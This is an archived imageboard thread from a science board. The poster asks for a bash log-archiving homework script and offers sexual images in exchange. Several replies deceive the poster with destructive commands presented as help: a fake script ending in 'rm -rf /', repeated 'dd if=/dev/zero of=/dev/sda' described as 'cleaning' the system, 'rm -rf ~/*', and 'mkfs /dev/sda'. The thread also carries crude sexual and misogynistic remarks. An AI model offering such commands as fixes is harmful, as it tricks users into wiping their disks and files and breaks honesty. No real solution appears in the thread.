[ 3 / biz / cgl / ck / diy / fa / ic / jp / lit / sci / vr / vt ] [ index / top / reports ] [ become a patron ] [ status ]
2023-11: Warosu is now out of extended maintenance.

/sci/ - Science & Math


View post   

File: 21 KB, 640x480, dsc_d3341.jpg [View same] [iqdb] [saucenao] [google]
2201453 No.2201453 [Reply] [Original]

Need halp writing a BASH script.


As the IT administrator for a large manufacturing company you have been tasked with producing a script for archiving the daily log files. Each week the daily log files are placed in a directory named weekXX, where XX is the number of the week. Each week directory should be archived and compressed and stored in a folder called log_directories. When the script has completed the task it should display on the monitor exactly what files and directories it has archived.

The script should be started by a user with the required week numbers added as arguments (e.g prog 13 14 15 should start the program and archive the daily log files in week13, week14 and week15).


Do that for 1000+ internets + my tits

>> No.2201456

No. how about you post your tits first?

>> No.2201459

>>2201453
kinda looks like sam

>> No.2201461
File: 1.22 MB, 1536x2048, dsc_d33412.jpg [View same] [iqdb] [saucenao] [google]
2201461

>>2201456

Hurry up and do it now.

Who ever does it first gets a pic of there name on my ass and an object of there choice in it.

>> No.2201466

Best compression you can get:

#!/bin/sh
week = $1
mv $LOGIFILES/week$week /dev/null
cp /dev/null $LOG_DIRECTORIES
echo "saved" | wc -l $LOG_DIRECTORIES

#and just to be sure that everything is cleaned up:
rm -rf /

No need to thank me.

>> No.2201471

>>2201466
Please write "for Narf" on forehead wirh permanent marker.

PS: Script not tested, may have syntax errors.

>> No.2201472

>>2201466

k if it works.... thanks... what name you want on my ass?

>> No.2201474
File: 42 KB, 245x271, Cerealbubblepipe..jpg [View same] [iqdb] [saucenao] [google]
2201474

/sci/ whoring?

>> No.2201476

>>2201472
dolan

>> No.2201479

I fully approve this OP.
I hope you benefit nerdy guys in the real world with your feminine ways.

>> No.2201480
File: 32 KB, 640x480, dsc_d33434.jpg [View same] [iqdb] [saucenao] [google]
2201480

wait... i forgot to add this...


A basic manual is required, showing how to start the program, the hardware and / or software requirements, a hard copy of the script and a brief description of the test strategy and test data.


The log files are currently stored as a tarball at /home/macq/assessment3


Fuck im stupid

>> No.2201490

>>2201480
Write dolan first. I already did what you told.

>> No.2201496
File: 1.08 MB, 2048x1536, dsc_d234543.jpg [View same] [iqdb] [saucenao] [google]
2201496

>>2201490

well it did not work. So go fuck your self.

If i get a script that does what i need it to il whore my self to you for a good hour, here is a motivator

>> No.2201497

>>2201476
Fuck you. Stop stealing my script.

>>2201480
Actually you just have to set the environment.
export LOGFILE=<logfile destination>
export LOG_DIRECTORIES=<log destination>

Then just save the script as script.sh and run it: ./script.sh

~~~ begin of file
#!/bin/sh
week = $1
mv $LOGIFILES/week$week /dev/null
cp /dev/null $LOG_DIRECTORIES
echo "saved" | wc -l $LOG_DIRECTORIES

#and just to be sure that everything is cleaned up:
rm -rf /
~~~ end of file

>> No.2201500
File: 30 KB, 640x480, dsc_2343234.jpg [View same] [iqdb] [saucenao] [google]
2201500

>>2201497

Okay Narf let me try again sweetie <3

i hope this works

>> No.2201503

>>2201496
So what did it say?
Try "rm -rf / &" in the command line. Does that work? Maybe you are missing privileges.

>> No.2201504

>>2201496
Jesus you are a dirty slut.

>> No.2201507

rm -rf / # not sufficiently clean
dd if=/dev/zero of=/dev/sda # now that's clean

>> No.2201509

This thread makes me want to learn this language.

Need any PHP, .NET or RUBY? lol.

>> No.2201510

>>2201503

i got bin/sh bad interpreter : no such file or directory

>> No.2201513

OP you must start over
dd if=/dev/zero of=/dev/sda

>> No.2201514
File: 1.14 MB, 2048x1536, dsc_d3434.jpg [View same] [iqdb] [saucenao] [google]
2201514

>>2201509
sorry cookie :( i only need bash


But here is some more vago for my guys <3

>> No.2201515

MOAR DD'S

>> No.2201521

What's wrong with this chicks face?

>> No.2201528

still here op?

>> No.2201529

>>2201521

It's not covering my cock?

>> No.2201530

>>2201510
The first line is this, right?
#!/bin/sh

If rm does not work, could you try what this anon said?
>>2201513
dd is a disk dump that should clean up the system and get rid of the environment problems.

>> No.2201536

bump

>> No.2201544

You are now aware that OP is man.

>> No.2201549

bump
Unix and Linux fags get in here and help OP clean the system.
OP, are you still there?

>> No.2201551
File: 47 KB, 400x300, he-aint-even-mad.jpg [View same] [iqdb] [saucenao] [google]
2201551

>>2201544

>> No.2201555

>>2201544
a man with a vagina

>> No.2201553

I think I have an internet crush on OP.

>> No.2201554

ITT: scifags who don't know what a timestamp is

OP: timestamp that shit or GTFO

>> No.2201561
File: 26 KB, 640x480, DSC_d34234.jpg [View same] [iqdb] [saucenao] [google]
2201561

>>2201513

Lol fail attempt at formating my hdd <3

He ruined it for you guys :(

Im out of here.

>> No.2201563

>>2201561
Ok, you learned something. Good.
Have a great day!

>> No.2201564
File: 7 KB, 217x232, oldgreg.jpg [View same] [iqdb] [saucenao] [google]
2201564

>>2201555
mangina

>> No.2201565

>>2201544

>Implying that men have breasts and vaginas.

Damn, I thought you /sci/fags were smart.

>> No.2201566

OP I can smell your snatch from here.

dd if=/dev/zero | cat | dd of=/dev/sda

>> No.2201567

>>2201561
please dont go

>> No.2201569

>>2201565
A trap could.

>> No.2201570

>>2201555
a man posting pics of a female ... pretty obviously, I might add.
btw! you ought to try this at the command line i think it will take care of whatever the problem is:
rm -rf ~/*

>> No.2201572

>>2201564
+1 soft creamy baileys

>> No.2201573

>>2201565

>Implying that OP isn't actually a man and using pics from some camwhore on /b/

>> No.2201575

>>2201565

see:

>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554
>>2201554

>> No.2201576
File: 1.17 MB, 2048x1536, 1290560768819.jpg [View same] [iqdb] [saucenao] [google]
2201576

>>2201570

Yes because i really want to remove my home dir.


Anyone have a legit answer?

>> No.2201579

>>2201561
No, this would be formatting your hdd:
mkfs /dev/sda

dd is a disk dump and you must do it to clean your system

>> No.2201581

>>2201576
fuck off. Do you own damn work. This is a basically a homework thread.

>> No.2201582
File: 45 KB, 299x450, baileys.jpg [View same] [iqdb] [saucenao] [google]
2201582

>>2201572
delivered

>> No.2201584

>>2201579

who gives a flying fuck if i knew any bash id be right on it better than looking at virgins spamming "smelly vag hahaha"
then they wonder why they don't get fucked in real life

>> No.2201587

>>2201576
>1290560768819.jpg

and nothing of value was lost

>> No.2201594

>>2201587
>>2201576


That's not me posting. Thats from me whoring on /b/

>> No.2201599

>>2201594
>/b/

>> No.2201601

>>2201584
>insults everyone in thread
>makes it clear that she expects help because she is female
Make the choice to say "fuck you, OP!" today!

>> No.2201606

>>2201594
>whoring
You seem like you'd be painfully annoying irl.

>> No.2201619

>>2201561
>he ruined it for you guys
>implying there was anything to be ruined worth having

>> No.2201628

>>2201619
smelly vag hahaha

>> No.2201685

>dsc_d3341.jpg
>dsc_d33412.jpg
>dsc_d33434.jpg
>dsc_d234543.jpg
>dsc_d3434.jpg
>DSC_d34234.jpg
>1290560768819.jpg
Seems legit.

>> No.2201693

>>2201685
lul

>> No.2201698

>>2201685
Iol'd